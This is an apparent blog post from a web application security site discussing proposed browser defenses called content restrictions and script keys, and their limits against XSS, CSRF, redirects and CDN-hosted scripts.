Cenzic 232 Patent
Paid Advertising
web application security lab

Content restrictions and script keys

There’s been a lot of talk on the Webappsec mailing list lately around browser content restrictions (something I came up with a few years back and proposed to Rafael Ebron at Mozilla which was later picked up by Gerv while I was working for a huge dot com). As a side note Gerv also came up with another idea on his own called script keys that uses a unique string to denote which script is allowed to run and none other.

The idea of content restrictions was to enable webmasters to limit their exposure to certain forms of attack (in the same way Microsoft’s HttpOnly attempted to limit cookie theft). The problem with both content-restrictions and script-keys are that no one is devoting resources to investigate them or build them - so they sit for a later day.

But as an academic excersize, let’s talk through Brian Eaton’s latest email to the list:

First of all the original idea of content restrictions was to limit the text on the page. So my first proposal was to wrap user generated output in tags that would limit the page (of course you’d either need to parse against the end tag, or you’d have to take the second one in order to make sure they didn’t end the tag and start some malicious XSS). It was to take the form of either a Meta tag, or a HTTP header or both. Our original idea was to wrap the text in an iframe, but scrollbars were not an option for our user community and because of the cross domain issues (knowing how big a page is can tell you the state of the user visiting it) it was dropped.

Content restrictions was never designed to stop basic CSRF, unless you are talking about functions that could only be affected by JavaScript, which would inherently be stopped. Brian’s comment that this would not help with reflected JS should be inaccurate, as any JavaScript would be affected (part of the problem was that it could end up killing valid JS on the page, which was something we were attempting to overcome in our first iteration of the idea by wrapping the possible offending output in tags to be parsed out by the browser as safe content).

The use of an XML document has issues. Firstly, the policies will vary from page to page and on some sites that could mean millions of pages. Having it in the root directory won’t help with this, since you’d have to have a mapping of every variant of every page with every parameter mapped out. So we opted to dynamically outputted on the page. An XML document could work if you are talking about having one in each directory, but even that could be a tremendous amount of work unless you can use star operators, and I’m sure on some websites that would be a terrible burden.

Also, avoiding CSRF is very difficult… because many websites want to allow linking to remote images. If you link to a remote image, that can actually be a HTTP 301 redirect back to your site function. It’s very tricky to avoid that issue from a business perspective without allowing people to upload photos, and if they upload photos you are risking them linking to their own malicious content hosted on your website (let’s hope you don’t have script injection issues). Anyway, that’s an issue that has not been well thought out as CSRF is really a completely different beast.

Another major problem for this security model is things like Akamai. When you are running a very large website and you want to use a content caching service to optimize your website, you inherently need to link to other domains with your JavaScript. And if you ever intend to have personalization the JavaScript will almost invariably have to have access to one or more cookies.

Brian didn’t mention are DOM based injection explicitly (he did mention XSS, but this is a particular example), which should be allowed given the script in question should have the authority to do whatever it needs to. As a webmaster, I might WANT to pull in remote images or remote XML files, and stupidly, I might rely on user input to do that. But yes, redirection is a huge issue as well. For almost all major websites, there is tracking, and unfortunately they almost always use a basic redirection technique that would allow bypassing of the cross domain linking policies.

Ultimately my major problem with this technology is the same problem that Microsoft’s HTTPOnly faced. It was a pretty good precaution, that had a few small holes and was never properly picked up by the rest of the browser community, making it not cross platform compatible in some cases (like IE5.0 on Mac - completely breaks cookies with HTTPonly in them). And the clincher here is that no one is coding it. So… it’s a wait and see game with the browser community as far as I’m concerned.

Comments are closed.